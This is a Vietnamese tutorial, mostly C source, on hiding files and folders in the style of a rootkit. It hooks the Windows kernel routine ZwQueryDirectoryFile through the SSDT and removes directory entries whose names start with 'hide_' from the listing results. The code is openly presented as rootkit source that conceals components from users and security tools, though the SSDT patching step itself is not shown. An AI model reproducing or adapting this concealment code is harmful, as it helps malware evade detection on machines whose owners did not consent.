Ẩn folder sử dụng kỹ thuật hook SSDT

Mô tả: Rootkit luôn cố gắng che dấu các thành phần của mình đi. Một trong những cách đó là sử dụng hook SSDT.

Trong tình huống này chúng ta sẽ định nghĩa lại hàm "`ZwQueryDirectoryFile`".

```
/*

The ZwQueryDirectoryFile routine returns various kinds of information about files in the directory specified by a given file handle.

NTSTATUS ZwQueryDirectoryFile(
  __in      HANDLE FileHandle,
  __in_opt  HANDLE Event,
  __in_opt  PIO_APC_ROUTINE ApcRoutine,
  __in_opt  PVOID ApcContext,
  __out     PIO_STATUS_BLOCK IoStatusBlock,
  __out     PVOID FileInformation,
  __in      ULONG Length,
  __in      FILE_INFORMATION_CLASS FileInformationClass,
  __in      BOOLEAN ReturnSingleEntry,
  __in_opt  PUNICODE_STRING FileName,
  __in      BOOLEAN RestartScan
);

http://msdn.microsoft.com/en-us/library/ff567047%28v=VS.85%29.aspx

*/

/* Prototype to original routine */
NTSYSAPI
NTSTATUS
NTAPI ZwQueryDirectoryFile
(
  IN    HANDLE FileHandle,
  IN HANDLE Event,
  IN PIO_APC_ROUTINE ApcRoutine,
  IN PVOID ApcContext,
  OUT   PIO_STATUS_BLOCK IoStatusBlock,
  OUT   PVOID FileInformation,
  IN    ULONG Length,
  IN    FILE_INFORMATION_CLASS FileInformationClass,
  IN    BOOLEAN ReturnSingleEntry,
  IN PUNICODE_STRING FileName,
  IN    BOOLEAN RestartScan
);

/* Function pointer declaration and definition */
typedef NTSTATUS  (*ZwQueryDirectoryFilePtr)
(
  IN    HANDLE FileHandle,
  IN HANDLE Event,
  IN PIO_APC_ROUTINE ApcRoutine,
  IN PVOID ApcContext,
  OUT   PIO_STATUS_BLOCK IoStatusBlock,
  OUT   PVOID FileInformation,
  IN    ULONG Length,
  IN    FILE_INFORMATION_CLASS FileInformationClass,
  IN    BOOLEAN ReturnSingleEntry,
  IN PUNICODE_STRING FileName,
  IN    BOOLEAN RestartScan
);
ZwQueryDirectoryFilePtr oldZwQueryDirectoryFile;
```

Main code:

Chúng ta sẽ viết lại hàm ZwQueryDirectory để có thể ẩn bất cứ thư mục nào chúng ta muốn

```
#define NO_MORE_ENTRIES           0

/* Replacement function, Entry point */
NTSTATUS newZwQueryDirectoryFile
(
  IN    HANDLE FileHandle,
  IN HANDLE Event,
  IN PIO_APC_ROUTINE ApcRoutine,
  IN PVOID ApcContext,
  OUT   PIO_STATUS_BLOCK IoStatusBlock,
  OUT   PVOID FileInformation,
  IN    ULONG Length,
  IN    FILE_INFORMATION_CLASS FileInformationClass,
  IN    BOOLEAN ReturnSingleEntry,
  IN PUNICODE_STRING FileName,
  IN    BOOLEAN RestartScan
```

```
)
{
	NTSTATUS		ntStatus;
	PVOID	currFile;
	PVOID	prevFile;


	//DBG_TRACE("newZwQueryDirectoryFile","Call intercepted!");
	// Call normal function
	ntStatus = oldZwQueryDirectoryFile
	(
		FileHandle,
		Event,
		ApcRoutine,
		ApcContext,
		IoStatusBlock,
		FileInformation,
		Length,
		FileInformationClass,
		ReturnSingleEntry,
		FileName,
		RestartScan
	);
	if(!NT_SUCCESS(ntStatus))
	{
		//DBG_TRACE("newZwQueryDirectoryFile","Call failed.");
		return ntStatus;
	}

	// Call hide function depending on FileInformationClass
	if
	(
	FileInformationClass == FileDirectoryInformation ||
	   FileInformationClass == FileFullDirectoryInformation ||
	   FileInformationClass == FileIdFullDirectoryInformation ||
	   FileInformationClass == FileBothDirectoryInformation ||
	   FileInformationClass == FileIdBothDirectoryInformation ||
	   FileInformationClass == FileNamesInformation
	)
	{



		currFile =	FileInformation;
		prevFile =	NULL;
		//Sweep trought the array of PFILE_BOTH_DIR_INFORMATION structures
		do
		{
			// Check if file is one of rootkit files
			 if(checkIfHiddenFile(getDirEntryFileName(currFile,FileInformationClass))==TRUE)
			{
				// If it is not the last file
				if(getNextEntryOffset(currFile,FileInformationClass)!=NO_MORE_ENTRIES)
				{
					int delta;
					int nBytes;
					// We get number of bytes between the 2 addresses (that we already processed)
					delta =		((ULONG)currFile) - (ULONG)FileInformation;
					// Lenght is size of FileInformation buffer
					// We get the number of bytes still to be sweeped trought
					nBytes =	(DWORD)Length - delta;
					// We get the size of bytes to be processed if we remove the current entry.
					nBytes =	nBytes - getNextEntryOffset(currFile,FileInformationClass);
					// The next operation replaces the rest of the array by the same array without the current structure.
					RtlCopyMemory
					(
						(PVOID)currFile,
						(PVOID)((char*)currFile +  getNextEntryOffset(currFile,FileInformationClass)),
						(DWORD)nBytes
					);
					continue;
				}
				else
				{
					// Only one file
					if(currFile==FileInformation)
					{
						ntStatus = STATUS_NO_MORE_FILES;
					 }
					else
					{
						// Several file and ours is the last one
						// We set previous to end of file
						setNextEntryOffset(prevFile,FileInformationClass,NO_MORE_ENTRIES);
					}
					// Exit while loop
					break;
```

```
                        }
                    }
                    prevFile = currFile;
                    // Set current file to next file in array
                    currFile = ((BYTE*)currFile + getNextEntryOffset(currFile,FileInformationClass));
                }
                while(getNextEntryOffset(prevFile,FileInformationClass) != NO_MORE_ENTRIES);


        }

        return ntStatus;
}
```

Sử dụng hàm :

Trong ví dụ này chúng ta sẽ ẩn các file bắt đầu bằng tiền tố "hide_"

```
const WCHAR prefix[]                = L"hide_";
#define PREFIX_SIZE                         10

/* Check if the file is one of those that need to be hidden */
BOOLEAN checkIfHiddenFile(WCHAR fileName[])
{

        SIZE_T                          nBytesEqual;
        //DBG_PRINT2("[checkIfHiddenFile]: we are checking %S\n",fileName);

        // Check if known file
        nBytesEqual = 0;
        nBytesEqual = RtlCompareMemory
        (
                (PVOID)&(fileName[0]),
                (PVOID)&(prefix[0]),
                PREFIX_SIZE
        );
        //DBG_PRINT2("[checkIfHiddenFile]: nBytesEqual: %d\n",nBytesEqual);
        if(nBytesEqual==PREFIX_SIZE)
        {
                DBG_PRINT2("[checkIfHiddenFile]: known file detected : %S\n",fileName);
                return(TRUE);
        }

        return FALSE;
}
```